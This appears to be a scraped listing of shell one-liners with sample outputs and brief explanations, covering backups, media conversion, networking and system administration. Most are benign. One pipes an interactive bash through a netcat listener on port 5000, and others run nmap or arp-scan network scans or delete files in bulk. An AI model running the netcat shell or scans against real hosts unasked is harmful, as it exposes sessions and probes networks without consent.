/etc/jetty6/jetty-logging.xml /etc/jetty6/jetty.xml process already running. + exit 0 pronounce(){ wget -qO- $(wget -qO- "http://www.m-w.com/dictionary/$@" | grep 'return au' | sed -r "s|.*return au\('([^']*)', '([^'])[^']*'\).*|http://cougar.eb.com/soundc11/\2/\1|") | aplay -q; } Functions: aplay grep sed wget Pronounce an English word using Merriam-Webster.com The original was a little bit too complicated for me. This one does not use any variables. mencoder "${file}" -of rawaudio -oac mp3lame -ovc copy -o audio/"${file/%avi/mp3}" Extract audio stream from an AVI file using mencoder This commands saves the output in the audio directory. The portion ${file/%avi/mp3} uses bash string replacement to replace the avi to mp3 within the ${file} variable. function mcd() { [ -n "$1" ] && mkdir -p "$@" && cd "$1"; } user@home:~$ mcd newdirectory user@home:newdirectory $ combine `mkdir foo && cd foo` into a single function `mcd foo` I find that I create a directory and then cd into that directory quite often. I found this little function on the internets somewhere and thought I'd share it. Just copy-paste it into you ~/.bash_profile and then `source ~/.bash_profile`. sed -e "$ ! s/$/,/" $ cat myfile.txt cola colb colc $ sed -e "$ ! s/$/,/" myfile.txt cola, colb, Perform sed substitution on all but the last line of input In this simple example the command will add a comma to the end of every line except the last. I found this really useful when programatically constructing sql scripts. See sample output for example. sort -R SOMEFILE Works in sort (GNU coreutils) 7.4, don't know when it was implemented but sometime the last 6 years. getent passwd $(whoami) | cut -f 5 -d: | cut -f 1 -d, Functions: cut getent passwd Terminal - Prints out, what the users name, notifyed in the gecos field, is dsh -M -c -f servers -- "command HERE" micha@lucie:~$ dsh -M -c -f test -- "hostname -f" root@abc.de: abc.de root@xyz.de: xyz dsh - Distributed shell, or dancer?s shell ;-) you can put your servers into /etc/dsh/machines.list than you don't have to serperate them by commata or group them in different files and only run commands for this groups dsh -M -c -a -- "apt-get update" lynx -dump http://api.wunderground.com/weatherstation/WXCurrentObXML.asp?ID=KCALOSAN32 | grep GMT | awk '{print $3}' 53.1 Weather on the Command line Get your weather from a weather station just blocks from your home. Go to http://www.wunderground.com/wundermap/ and find a weather station near you. Click on a temperature bubble for that area. When the window pops up, click on hypertext link with the station ID, then on the bottom right of the page, click on the Current Conditions XML. Thats your link! Good luck! backup() { for i in "$@"; do cp -va $i $i.$(date +%Y%m%d-%H%M%S); done } # ls file1 file2 file3 # backup file1 file2 file3 `file1' -> `file1.20091110-185641' `file2' -> `file2.20091110-185641' `file3' -> `file3.20091110-185641' file1 file1.20091110-185641 file2 file2.20091110-185641 file3 file3.20091110-185641 Functions: cp date Create date based backups This script creates date based backups of the files. It copies the files to the same place the original ones are but with an additional extension that is the timestamp of the copy on the following format: YearMonthDay-HourMinuteSecond curl -s http://whatthecommit.com/index.txt | cowsay ffmpeg -y -f alsa -ac 2 -i pulse -f x11grab -r 30 -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -i :0.0 -acodec pcm_s16le output.wav -an -vcodec libx264 -vpre lossless_ultrafast -threads 0 output.mp4 Proper screencast with audio using ffmpeg and x264, as per http://verb3k.wordpress.com/2010/01/26/how-to-do-proper-screencasts-on-linux/ sudo bash -c "sleep 1h ; command" Functions: bash sudo Run a command as root, with a delay sleep 1h ; sudo command sudo sleep 1h ; sudo command won't work, because by the time the delay is up, sudo will want your password again. pwgen 30 1 $ pwgen 30 1 ahsieyiexaiT3Ed8gaqu1ahw7iz9ru The pwgen program generates passwords which are designed to be easily memorized by humans, while being as secure as possible. Human-memorable passwords are never going to be as secure as completely completely random passwords. [from pwgen man page] bash -i 2>&1 | tee /dev/stderr | nc -l 5000 Functions: bash tee Broadcast your shell thru port 5000 shutdown -h 240 & disown shutdown pc in 4 hours without needing to keep terminal open / user logged in. From the 'disown' man page: disown prevents the current shell from sending a HUP signal to each of the given jobs when the current shell terminates a login session. ‹ First < 79 80 81 82 83 > Last › lndir sourcedir destdir Propagate a directory to another and create symlink to content Lndir create from source directory to destination directory a full symlink tree of all contents of source directory, really useful for propagate changes from a directory to another. strace <name of the program> Traces the system calls of a program. See http://linuxhelp.blogspot.com/2006/05/strace-very-powerful-troubleshooting.html for more information. perl -we 'my $regex = eval {qr/.*/}; die "$@" if $@;' $ perl -we 'my $regex = eval {qr/*/}; die "$@" if $@;' Quantifier follows nothing in regex; marked by <-- HERE in m/* <-- HERE / at -e line 1. Functions: eval perl validate the syntax of a perl-compatible regular expression Place the regular expression you want to validate between the forward slashes in the eval block. get you public ip address upto() { cd "${PWD/\/$@\/*//$@}" } /a/very/long/cumbersome/directory $ upto very /a/very Jump up to any directory above the current one Usage: upto directory curl -s http://geoiplookup.wikimedia.org/|awk -F, '{print $3,$4}'|awk -F'"' '{print "http://maps.google.com/maps?q="$4 "," $8}' Your GeoIP location on Google Maps if cat /proc/cpuinfo | grep " lm " &> /dev/null; then echo "Got 64bit" ; fi Functions: cat echo grep Check if you have 64bit by looking for "lm" in cpuinfo. lm stands for "long mem". This can also be used without being root. `!!` Use result of the last command \$ which python /usr/bin/python \$ ll `!!` lrwxrwxrwx 1 root root 9 2010-11-08 22:01 /usr/bin/python -> python2.6 echo "I'm going to paste this into WINDERS XP" | xsel -i Pipe text from shell to windows cut and paste buffer using PuTTY and XMing. Set up X forwarding in PuTTY, with X display location set to :0.0 Launch PuTTY ssh session. Launch Xming. Make sure that display is set to :0.0 (this is default). will insert the string into the windows cut and paste buffer. Thanks to Dennis Williamson at stackoverflow.com for sharing... ( du -xSk || du -kod ) | sort -nr | head Simple top directory usage with du flips for either Linux or base Solaris No need to type out the full OR clause if you know which OS you're on, but this is easy cut-n-paste or alias to get top ten directories by singleton. To avoid the error output from du -xSk you could always 2>/dev/null but you might miss relevant STDERR. for (( i = 10; i > 0; i-- )); do echo "$i"; sleep 1; done 10 9 Count down from 10 Countdown from 10 or whatever you want:) cp /really/long/path/and/file/name{,-`date -I`} bash shell expansion The expansion {,} in bash will repeat the given string once for each item seperated by commas. The given command will result in the following being run: cp /really/long/path/and/file/name /really/long/path/and/file/name-`date -I` These can be embedded as needed, ex: rm file{1,2,3{1,2,3}} would delete the files file1, file2, file31, file32, file32, and no other files. % Vi - Matching Braces, Brackets, or Parentheses This is a simple command for jumping to the matching brace, square bracket, or parentheses. For example, it can take you from the beginning of a function to the end with one key stroke. To delete everything between the pairs of {}, [], or (), issue the command: d% To replace text between pairs of braces, brackets, or parentheses, issue the command: c% You can also use this command to find out if an opening brace has been properly closed. ps -C command ion@atomos:~$ ps -C ps PID TTY TIME CMD ion@atomos:~$ ps -fC ps UID PID PPID C STIME TTY TIME CMD preferred way to query ps for a specific process name (not supported with all flavors of ps, but will work on just about any linux afaik) ^u Clear mistyped passwords from password prompt Type ^u at password prompt to clear a mistyped password. find -L -type l ./linkname Find broken symlinks in the current directory and its subdirectories. This is best run as root to avoid permission denials that can produce false positives. Obviously you can specify a directory in the usual way: find -L dirname -type l I can't remember where I read about this or who deserves the credit for it. The find(1) manual page hints strongly toward it, however. :g:^\s*#.*:m0 Move all comments the top of the file in vim Python comments begin with a #. Modify to suit other languages. Other uses: Instead of m0 use m$ for end of file or d for deleting all comments. curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+' $ curl -s checkip.dyndns.org | grep -Eo '[0-9.]+' 64.221.138.109 What is My WAN IP? The curl command retrieve the HTML text containing the IP address. The grep command picks out the IP address from that HTML text. hcitool scan Scan for nearby Bluetooth devices. Scans local area for visible Bluetooth devices. Use 'hcitool inq' to discover the type of device it is. And use -i hciX option to specify the local Bluetooth device to use. cmatrix -abx matrix in your term -a : Asynchronous scroll -b : Bold characters on -x : X window mode, use if your xterm is using mtx.pcf netstat -lantp | grep -i establ | awk -F/ '{print $2}' | sort | uniq dropbox emacs-snapshot firefox-bin gvfsd-http This corrects duplicate output from the previous command. curl -s -X POST http://www.jsonlint.com/ajax/validate -d json="`cat file.js`" -d reformat=no {"result":"Valid JSON","responseCode":0} validate json I have this saved as jsonlint chmodded +x and file.js is instead $1, but YMMV mysql -u root -p -BNe "select host,count(host) from processlist group by host;" information_schema banana.example.com 6 Count the number of active connections to a MySQL database. The MySQL command "show processlist" gives a list of all the active clients. However, by using the processlist table, in the information_schema database, we can sort and count the results within MySQL. netstat -atn | awk ' /tcp/ {printf("%s\n",substr($4,index($4,":")+1,length($4) )) }' | sed -e "s/://g" | sort -rnu | awk '{array [$1] = $1} END {i=32768; again=1; while (again == 1) {if (array[i] == i) {i=i+1} else {print i; again=0}}}' $ netstat -atn | awk ' /tcp/ {printf("%s\n",substr($4,index($4,":")+1,length($4) )) }' | sed -e "s/://g" | sort -rnu | awk '{array [$1] = $1} END {i=32768; again=1; while (again == 1) {if (array[i] == i) {i=i+1} else {print i; again=0}}}' 32768 Functions: awk netstat sed sort find an unused unprivileged TCP port Some commands (such as netcat) have a port option but how can you know which ports are unused? git archive --format=tar HEAD | (cd /var/www/ && tar xf -) update you web in fact, I want to know, how to only get the modified files. ‹ First < 80 81 82 83 84 > Last › ~ ctrl-z Suspend an ssh session. This must be typed before any other characters have been entered on the line. Use fg, as usual, to resume the ssh session. for vm in $(vmware-cmd -l);do echo -n "${vm} ";vmware-cmd ${vm} getstate|awk '{print $2 " " $3}';done /opt/vmware/vm1/vm1.vmx = on /opt/vmware/vm2/vm2.vmx = on /opt/vmware/vm3/vm3.vmx = off /opt/vmware/vm4/vm4.vmx = on VMware Server print out the state of all registered Virtual Machines. I use this command on my machines running VMware Server to print out the state of all registered Virtual machines. curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml <?xml version="1.0" encoding="UTF-8"?> <status> <created_at>Sat Jun 27 21:33:19 +0000 2009</created_at> <id>2363785326</id> <text>Settima robot message: ALARM ZONE 03 (sent via command line)</text> <source>web</source> <truncated>false</truncated> <in_reply_to_status_id></in_reply_to_status_id> <in_reply_to_user_id></in_reply_to_user_id> <favorited>false</favorited> <in_reply_to_screen_name></in_reply_to_screen_name> <user> <id>9982902</id> <name>m33600</name> <screen_name>m33600</screen_name> <location></location> <description></description> <profile_image_url>http://static.twitter.com/images/default_profile_normal.png</profile_image_url> <url></url> <protected>false</protected> <followers_count>4</followers_count> <profile_background_color>9ae4e8</profile_background_color> <profile_text_color>000000</profile_text_color> <profile_link_color>0000ff</profile_link_color> <profile_sidebar_fill_color>e0ff92</profile_sidebar_fill_color> <profile_sidebar_border_color>87bc44</profile_sidebar_border_color> <friends_count>3</friends_count> <created_at>Tue Nov 06 00:18:20 +0000 2007</created_at> <favourites_count>0</favourites_count> <utc_offset>-10800</utc_offset> <time_zone>Greenland</time_zone> <profile_background_image_url>http://static.twitter.com/images/themes/theme1/bg.gif</profile_background_image_url> <profile_background_tile>false</profile_background_tile> <statuses_count>10</statuses_count> <notifications>false</notifications> <verified>false</verified> <following>false</following> </user> </status> Twitter update from terminal (pok3's snipts ?) Found it on snipt, pok3, is it yours? I put my user = m33600, the password and the status was my robot message: Settima robot message: ALARM ZONE 3 (sent via command line). Now bots may have their identity on twitter... nmap -R -sL 209.85.229.99/27 | awk '{if($3=="not")print"("$2") no PTR";else print$3" is "$2}' | grep '(' (209.85.229.96) is ww-in-f96.google.com (209.85.229.97) is ww-in-f97.google.com (209.85.229.98) is ww-in-f98.google.com (209.85.229.99) is ww-in-f99.google.com (209.85.229.100) is ww-in-f100.google.com (209.85.229.101) is ww-in-f101.google.com (209.85.229.102) is ww-in-f102.google.com (209.85.229.103) is ww-in-f103.google.com (209.85.229.104) is ww-in-f104.google.com (209.85.229.105) is ww-in-f105.google.com (209.85.229.106) is ww-in-f106.google.com (209.85.229.107) no PTR (209.85.229.108) no PTR (209.85.229.109) no PTR (209.85.229.110) no PTR (209.85.229.111) no PTR (209.85.229.112) is ww-in-f112.google.com (209.85.229.113) is ww-in-f113.google.com (209.85.229.114) no PTR (209.85.229.115) is ww-in-f115.google.com (209.85.229.116) is ww-in-f116.google.com (209.85.229.117) no PTR (209.85.229.118) is ww-in-f118.google.com (209.85.229.119) no PTR (209.85.229.120) is ww-in-f120.google.com (209.85.229.121) no PTR (209.85.229.122) no PTR (209.85.229.123) is ww-in-f123.google.com (209.85.229.124) no PTR (209.85.229.125) is ww-in-f125.google.com (209.85.229.126) is ww-in-f126.google.com (209.85.229.127) is ww-in-f127.google.com List of reverse DNS records for a subnet This command uses nmap to perform reverse DNS lookups on a subnet. It produces a list of IP addresses with the corresponding PTR record for a given subnet. You can enter the subnet in CDIR notation (i.e. /24 for a Class C)). You could add "--dns-servers x.x.x.x" after the "-sL" if you need the lookups to be performed on a specific DNS server. On some installations nmap needs sudo I believe. Also I hope awk is standard on most distros. s='s=\47%s\47; printf "$s" "$s"'; printf "$s" "$s" bash-quine this command prints itself out. it doesn't need to be stored in a file and it isn't as easy as echo $BASH_COMMAND for information on quines see http://en.wikipedia.org/wiki/Quine_(computing) screen -xR Reconnect to screen without disconnecting other sessions Have your screen session running in multiple places. (warning, things start to look weird if the terminal windows have different dimensions) mem(){ { case $1 in st*|[vgid]*) printf "%s " "$@";; *) dd if=$3 2>&1|sed '$!d;/^0/d;s/ .*//;s/^/'"$1"' '"$2"' 1 0 /; r '"$3"'' 2>/dev/null;;esac;printf "\r\nquit\r\n";}|nc -n 127.0.0.1 11211; } Functions: dd printf sed full memcache client in under 255 chars (uses dd, sed and nc) usage: mem memcache-command [arguments] where memcache-command might be: set add get[s] append prepend replace delete incr decr cas stats verbosity version notes: exptime argument is set to 0 (no expire) flags argument is set to 1 (arbitrary) time vmware-cmd -l | while read x; do printf "$x"; vmware-cmd "$x" removesnapshots; done Functions: printf read time remove all snapshots from all virtual machines in vmware esx Old snapshots can cause problems. It's best to remove them when finished. I use this script to remove all snapshots. The "while read" command is necessary because my vm names contain spaces. The "time" command reports how long the process runs. curl --form username=from_twitter --form password=from_twitter --form media=@/path/to/image --form-string "message=tweet" http://twitpic.com/api/uploadAndPost Twitpic upload and Tweet gs -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -dFirstPage=2 -dLastPage=2 -sOutputFile=page2.pdf multipageinputfile.pdf Have to do this once per output file, because if device is 'pdfwrite', even if 'gs' sees '%d' in the OutputFile it still only creates one single output file. Embed it into a simple shell script if you want to split a document out into one file for every page. for i in `ls ~/.mozilla/firefox/*/Cache`; do file $i | grep -i mpeg | awk '{print $1}' | sed s/.$//; done 4CF25EB3d01 Functions: awk file grep sed Grab a list of MP3s out of Firefox's cache Ever gone to a site that has an MP3 embedded into a pesky flash player, but no download link? Well, this one-liner will yank the names of those tunes straight out of FF's cache in a nice, easy to read list. What you do with them after that is *ahem* no concern of mine. ;) cat /dev/urandom > /dev/dsp Generate White Noise This command will generate white noise through your speakers (assuming you have sound enabled). It's good for staying focused, privacy, coping with tinnitus, etc. I use it to test that the sound works. cat count.txt | awk '{ sum+=$1} END {print sum}' Functions: awk cat Using awk to sum/count a column of numbers. Takes a input file (count.txt) that looks like: 1 2 3 It will add/sum the first column of numbers. inkscape -f file.svg --verb=org.inkscape.color.grayscale --verb=FileSave --verb=FileClose Convert a SVG file to grayscale It requires inkscape 0.46 and lxml packages exec bash Clean way of re-running bash startup scripts. This replaces the current bash session with a new bash session, run as an interactive non-login shell... useful if you have changed /etc/bash.bashrc, or ~/.bashrc If you have changed a startup script for login shells, use exec bash -l Suitable for re-running /etc/profile, ~/.bash_login and ~/.profile. edit: chinmaya points out that env - HOME=$HOME TERM=$TERM bash -s "exec bash -l" will clear any shell variables which have been set... since this verges on unwieldy, might want to use alias bash_restart='env - HOME=$HOME TERM=$TERM bash -s "exec bash -l"' svn log $url -r $revision -v | egrep " [RAMD] \/" | sed s/^.....// /path/to/file.txt /path/to/another/file.txt Functions: egrep sed output list of modifications for an svn revision url can be a working copy or url to a svn repository, revision is any valid revision number for that branch. watch -n1 'date "+%T"' Every 1.0s: date "+%T" 11:33:02 A console clock with the current time. echo "You can have a bit more realistic typing with some shell magic." | pv -qL $[10+(-2 + RANDOM%5)] wget --save-cookies ~/.cookies/rapidshare --post-data "login=USERNAME&password=PASSWORD" -O - https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi > /dev/null In order to do that, first you need to save a cookie file with your account info. These commands do it (maybe you need to create the '.cookies' dir before). Also, you need to check the "Direct downloads" option on the Premium Zone >> Settings tab. You need to do this once (as long you maintain the file or your Rapidshare Premium account). nmap -p 1-65535 --open localhost list all opened ports on host sed -e '/^$/d' -i .bak filewithempty.lines $ls filewithempty.lines filewithempty.lines.bak remove empty lines in place with backup Modify file in place to remove empty lines and create a backup of the original with the extension .bak runas /user:administrator net stop wuauserv stop windows update Windows only: stops windows update and the nagging restart window. You need your admin password for this one. cat file | tr '\n' '' convert a line to a space curl http://www.cpa.unicamp.br/imagens/satelite/ult.gif | xli -onroot -fill stdin Real time satellite wheather wallpaper Changes the wallpaper to the last satellite image. Tha url above shows latin america. Seek the best url for your location Now I have a usefull background image in my desktop I use it inside kalarm updating every 15 minutes. May be done with 'watch' instead It s an option to xplanet ( kde ) and xearth mpack -s "Backup: $file" "$file" email@id.com Send a local file via email Another way of sending an attachment. -s : subject file : file to be sent ‹ First < 81 82 83 84 85 > Last › ping -c 2 `arp-scan 10.1.1.0/24 | awk '/00:1b:11:dc:a9:65/ {print $1}'` ping -c 2 `arp-scan 10.1.1.0/24 | awk '/00:1b:11:dc:a9:65/ {print $1}'` PING 10.1.1.1 (10.1.1.1) 56(84) bytes of data. 64 bytes from 10.1.1.1: icmp_seq=1 ttl=64 time=0.911 ms 64 bytes from 10.1.1.1: icmp_seq=2 ttl=64 time=0.827 ms --- 10.1.1.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1000ms rtt min/avg/max/mdev = 0.827/0.869/0.911/0.042 ms Functions: awk ping ping MAC ADDRESS # first install arp-scan if not have it arp-scan 10.1.1.0/24 .... show ip+mac in localnet awk '/00:1b:11:dc:a9:65/ {print $1}' .... get ip associated with MAC ` backtick make do command substitution passing ip to command ping sudo lsof -P -i -n -sTCP:LISTEN find . -type d -exec du -sk '{}' \; | awk '($1 < 2048) {print $2}' Functions: awk du find list folders containing less than 2 MB of data Just shortened the awk a bit and removed sed. Edit: I'm assuming there are no spaces in the path. To support white space in pathname try: awk '($1 < 2048) {sub(/^[0-9]+[ \t]+/,""); print $0}' cpp /usr/include/stdio.h | grep -v '^#' | grep -v '^$' | less Functions: cpp grep display typedefs, structs, unions and functions provided by a header file will display typedefs, structs, unions and functions declared in 'stdio.h'(checkout _IO_FILE structure). It will be helpful if we want to know what a particular header file will offer to us. Command 'cpp' is GNU's C Preprocessor. psu(){ command ps -Hcl -F S f -u ${1:-$USER}; } $ psu askapache F S PID PPID CLS PRI ADDR SZ WCHAN RSS PSR TTY CMD $ psu root Output Detailed Process Tree for any User An easy function to get a process tree listing (very detailed) for all the processes of any gived user. This function is also in my http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html find . \( -type d -name .svn -prune \) -o -type d -print Lists all directories under the current dir excluding the .svn directory and its contents read -p "Press enter to continue.." Press enter to continue..; cmd xyz Waiting for a key stroke. You can use this with a ";" behind to build a command chain. st() { LDFLAGS=-static CFLAGS=-static CXXFLAGS=-static NOSHARED=yes ./configure $@ ;} usage: st [configure operands] This isn't always going to work... and there's more flags one could add, but in simple cases it will work and is useful for some 3d party libs that are only used by a one or a few programs. static compilation rpm -qa --queryformat '%{installtime} \"%{vendor}\" %{name}-%{version}-%{release} %{installtime:date}\n' | grep "Thu 05 Mar" $ rpm -qa --queryformat '%{installtime} \"%{vendor}\" %{name}-%{version}-%{release} %{installtime:date}\n' | grep "Thu 05 Mar" 1236267113 "Mandriva" alsa-plugins-pulse-config-1.0.18-1.2mdv2009.0 Thu 05 Mar 2009 15:31:53 GMT 1236267115 "Mandriva" libalsa-data-1.0.18-1.2mdv2009.0 Thu 05 Mar 2009 15:31:55 GMT 1236267116 "Mandriva" libalsa2-devel-1.0.18-1.2mdv2009.0 Thu 05 Mar 2009 15:31:56 GMT 1236267118 "Mandriva" libalsa-plugins-pulseaudio-1.0.18-1.2mdv2009.0 Thu 05 Mar 2009 15:31:58 GMT 1236267118 "Mandriva" alsa-utils-1.0.18-1.2mdv2009.0 Thu 05 Mar 2009 15:31:58 GMT 1236267113 "Mandriva" alsa-plugins-doc-1.0.18-1.2mdv2009.0 Thu 05 Mar 2009 15:31:53 GMT 1236267126 "Mandriva" tomboy-0.12.2-1.1mdv2009.0 Thu 05 Mar 2009 15:32:06 GMT 1236267114 "Mandriva" libalsa2-1.0.18-1.2mdv2009.0 Thu 05 Mar 2009 15:31:54 GMT 1236267117 "Mandriva" libalsa-plugins-1.0.18-1.2mdv2009.0 Thu 05 Mar 2009 15:31:57 GMT Functions: grep rpm Find out which RPMs were installed on a particular date. These would (naturally) include update RPMs. This example shows searching for "Thu 05 Mar" (with grep). Alternatively, pipe it to less so you can search inside less (with less's neat text highlighting of the search term): rpm -qa --queryformat '%{installtime} \"%{vendor}\" %{name}-%{version}-%{release} %{installtime:date}\n' | less # (this example) search term: Thu 05 Mar fuser -n tcp {0..65535} For finding out if something is listening on a port and if so what the daemon is. awk 'func f(n){return(n<2?n:f(n-1)+f(n-2))}BEGIN{while(a<24){print f(a++)}}' recursive version, "pure" AWK find * -maxdepth 1 -type f ! -name abc -delete nil Remove all the files except abc in the directory Finds all files in the current directory and deletes them besides file called "abc" rsync -rv --exclude .svn src/dir/ dest/dir/ Rsync a directory excluding pesky .svn dirs uuencode $file $file | /usr/bin/mailx -s "$file" ${USER} The first argument to uuencode is the file on disk, the second is the name of the MIME attachment, which can be the same. The "-s" option of mailx sets the subject is followed by a list of users or email addresses. Functions: uuencode Email a file to yourself This works on Solaris 10. echo "$url" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"' $ echo "this & that" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"' this%20%26%20that $ echo "this & that" | python -c 'import sys,urllib;print urllib.quote(sys.stdin.read().strip())' Functions: echo perl Url Encode Converts reserved characters in a URI to their percent encoded counterparts. Alternate python version: echo "$url" | python -c 'import sys,urllib;print urllib.quote(sys.stdin.read().strip())' ls -1 | rename 's/\ /_/' Functions: ls rename Substitute spaces in filename with underscore Substitute spaces in filename with underscore, it work on the first space encountered. dd if=/dev/zero of=testfile bs=1024 count=5000 Create a 5 MB blank file Useful for testing purposes ffmpeg -i source_audio.mp3 -itsoffset 00:00:10.2 -i source_video.m2v target_video.flv removing syncronization problems between audio and video This assumes that there is a 10.2 sec delay between the video and the audio (delayed). To extract the original video into a audio and video composites look at the command on extracting audio and video from a movie watch -n1 snmptable -v2c -c public localhost diskIOTable SNMP table: UCD-DISKIO-MIB::diskIOTable diskIOIndex diskIODevice diskIONRead diskIONWritten diskIOReads diskIOWrites diskIOLA1 diskIOLA5 diskIOLA15 diskIONReadX diskIONWrittenX Show simple disk IO table using snmp Show a simple table with disk IO for the specified host. you monitor a LOT of different thing. Mostly used for MRTG and similar, but this is nice for a quick look, which disk is busy. "public" is your SNMP community ensure that snmpd is running on the host which you intend to monitor :set pt=<f9> vim's pastetoggle: when you press f9 'paste' is on , press f9 again and 'paste' is off, and so forth (works in insert-mode and command-mode) ffmpeg -i source_movie.flv -vcodec mpeg2video target_video.m2v -acodec copy target_audio.mp3 extracting audio and video from a movie rips the audio and video stream of a movie. The two streams are stored separately. hdiutil attach somefile.dmg Mount a disk image (dmg) file in Mac OSX To unmount, replace "attach" with "eject" /usr/share/mplayer/midentify.sh `find . -name "*.avi" -print` | grep ID_LENGTH | awk -F "=" '{sum += $2} END {print sum/60/60; print "hours"}' 35.5096 hours Shows you how many hours of avi video you have. midentify.sh is part of mplayer, but you might have to locate it on your box. du -sch ./* echo "10 i 2 o $(date +"%H%M"|cut -b 1,2,3,4 --output-delimiter=' ') f"|dc|tac|xargs printf "%04d\n"|tr "01" ".*" Functions: echo printf tr xargs displays current time in "binary clock" format (loosely) inspired by: http://www.thinkgeek.com/homeoffice/lights/59e0/ "Decoding": .... - 1st hour digit: 0 *..* - 2nd hour digit: 9 (8+1) .*.. - 1st minutes digit: 4 *..* - 2nd minutes digit: 9 (8+1) Prompt-command version: PROMPT_COMMAND='echo "10 i 2 o $(date +"%H%M"|cut -b 1,2,3,4 --output-delimiter=" ") f"|dc|tac|xargs printf "%04d\n"|tr "01" ".*"' ‹ First < 82 83 84 85 86 > Last › curl -I g.cn HTTP/1.1 302 Found Location: http://www.google.cn/webhp?source=g_cn Cache-Control: private Content-Type: text/html; charset=UTF-8 Date: Mon, 28 Mar 2011 08:29:59 GMT Server: gws Content-Length: 235 X-XSS-Protection: 1; mode=block command | pbcopy && pbpaste Mac OS-X-> copy and paste things to and from the clipboard from the shell Copies whatever is piped to the pbcopy command to the clipboard. pbpaste ... well pastes whats on the clipboard. for I in `/sbin/lspci |awk '/VGA/{print $1}'`;do /sbin/lspci -v -s $I;done 01:00.0 VGA compatible controller: nVidia Corporation G84 [GeForce 8600 GT] (rev a1) (prog-if 00 [VGA controller]) 02:00.0 VGA compatible controller: nVidia Corporation G84 [GeForce 8600 GT] (rev a1) (prog-if 00 [VGA controller]) Get information on your graphics card on linux (such as graphics memory size) Loop is needed if you have more then one card. sox -v 0.125 -V <mp3.mp3> -t au -r 8000 -U -b -c 1 <ulaw.ulaw> resample -ql Convert mp3/wav file to asterisk ulaw for music on hold (moh) distribution specific information touch -t "YYYYMMDDhhmm.ss" ~/.ts ; find . -newer ~/.ts Lists all files and directories with modified time newer than a given date This is great for looking for files that have been updated recently. Logs especially or monitoring what files were added during an install. v=/dev/vg0/lv0; lvextend -L+200G $v && resize2fs $v Functions: resize2fs Resize A Mounted EXT3 File System Live extension of an ext3 file system on logical volume $v by 200GB without the need to unmount/remount. Requires that you have 1) a version of resize2fs that contains code merged from ext2online, and 2) kernel support for online resizing. (e.g. RHEL 5) for file in `find . -type f`; do cat $file; done | wc -l Functions: cat file wc Count number of Line for all the files in a directory recursively apt-cache stats How to know the total number of packages available Kill all process using regular expression (-r option) killall -r ".*my-process.*" weather() { lynx -dump "http://mobile.weather.gov/port_zh.php?inputstring=$*" | sed 's/^ *//;/ror has occ/q;2h;/__/!{x;s/\n.*//;x;H;d};x;s/\n/ -- /;q';} $ weather chicago, il Chicago, IL -- Mostly Cloudy: 47 ?F $ weather los angeles Los Angeles, CA -- Fair: 83 ?F $ weather 02456 New Town, MA -- Fair: 44 ?F Show current weather for any US city or zipcode Scrape the National Weather Service find . -type f -name '*.htm' -delete recursive remove all htm files alien -r -c file.deb Convert deb to rpm converts between Red Hat rpm, Debian deb, Stampede slp, Slackware tgz, and Solaris pkg file formats ... It also supports LSB packages. fdupes -r . If you have the fdupes command, you'll save a lot of typing. It can do recursive searches (-r,-R) and it allows you to interactively select which of the duplicate files found you wish to keep or delete. geoip(){curl -s "http://www.geody.com/geoip.php?ip=${1}" | sed '/^IP:/!d;s/<[^>][^>]*>//g' ;} geoip lookup ifconfig -a| awk '/^wlan|^eth|^lo/ {;a=$1;FS=":"; nextline=NR+1; next}{ if (NR==nextline) { split($2,b," ")}{ if ($2 ~ /[0-9]\./) {print a,b[1]}; FS=" "}}' lo 127.0.0.1 wlan0 192.168.1.100 Show interface/ip using awk Interfaces like lo can be omitted from the beginning, there are probably better ways of doing this, i'm a noob at awk. which command which python /usr/bin/python Functions: which shows the full path of shell commands for i in emerg alert crit error warn ; do awk '$6 ~ /^\['$i'/ {print substr($0, index($0,$6)) }' error_log | sort | uniq -c | sort -n | tail -1; done 4 [emerg] (17)File exists: Couldn't create accept lock 20 [error] [client 1.2.3.4] File does not exist: /Welcome, referer: http://127.0.0.1/ 23 [warn] Init: Session Cache is not configured [hint: SSLSessionCache] Quickly analyse an Apache error log This searches the Apache error_log for each of the 5 most significant Apache error levels, if any are found the date is then cut from the output in order to sort then print the most common occurrence of each error. export PS1='\[\033[0;35m\]\h\[\033[0;33m\] \w\[\033[00m\]: ' colored prompt It colors the machine name and current directory different colors for easy viewing. awk '!_[$0]++{print}' uniq for unsorted data ssh -N -L2001:localhost:80 -o "ProxyCommand ssh someuser@hubmachine nc -w 5 %h %p" someuser@destinationmachine setup a tunnel from destination machine port 80 to localhost 2001, via a second (hub) machine. this is handy when the hubmachine is the only machine that can connect to the destination machine (allowed on ip by firewall) and you want to access it from your laptop. history | perl -lane '$lsize{$_} = scalar(@F); if($longest<$lsize{$_}) { $longest = $lsize{$_}; print "$_"; };' | tail -n1 find the longest command in your history ps aux | awk '{sum+=$6} END {print sum/1024}' Pulls total current memory usage, including SWAP being used, by all active processes. mkfs.ext3 -T largefile4 Functions: mkfs mkfs.ext3 Ext3 format Terabytes in Seconds ruby -e "puts (1..20).map {rand(10 ** 10).to_s.rjust(10,'0')}" -bash2-2.05b$ uname -sr FreeBSD 5.4-RELEASE-p14 -bash2-2.05b$ ruby -e "puts (1..20).map {rand(10 ** 10).to_s.rjust(10,'0')}" 6366075576 2917975774 7329745840 8691581041 5890408189 1638634981 0295194105 6344513644 4301587535 4936779610 1481540380 5683771498 6753375812 4915063505 1500897963 8012594603 1481070124 3665078190 0436854511 6307883169 Random numbers with Ruby There's been a few times I've needed to create random numbers. Although I've done so in PERL, I've found Ruby is actually faster. This script generates 20 random "10" digit number NOT A RANDOM NUMBER. Replace 20 (1..20) with the amount of random numbers you need generated ‹ First < 83 84 85 86 87 > Last › tar -cvzf arch.tgz $(find /path/dir -not -type d) Tar - Compress by excluding folders If you give tar a list of filenames, it will not add the directories, so if you don't care about directory ownership or permissions, you can save some space. Tar will create directories as necessary when extracting. This command is limited by the maximum supported size of the argument list, so if you are trying to tar up the whole OS for instance, you may just get "Argument list too long". file='path to file'; tar -cf - "$file" | pv -s $(du -sb "$file" | awk '{print $1}') | gzip -c | ssh -c blowfish user@host tar -zxf - -C /opt/games 112MB 0:00:12 [8.78MB/s] [==============> ] 96% Functions: awk du file gzip 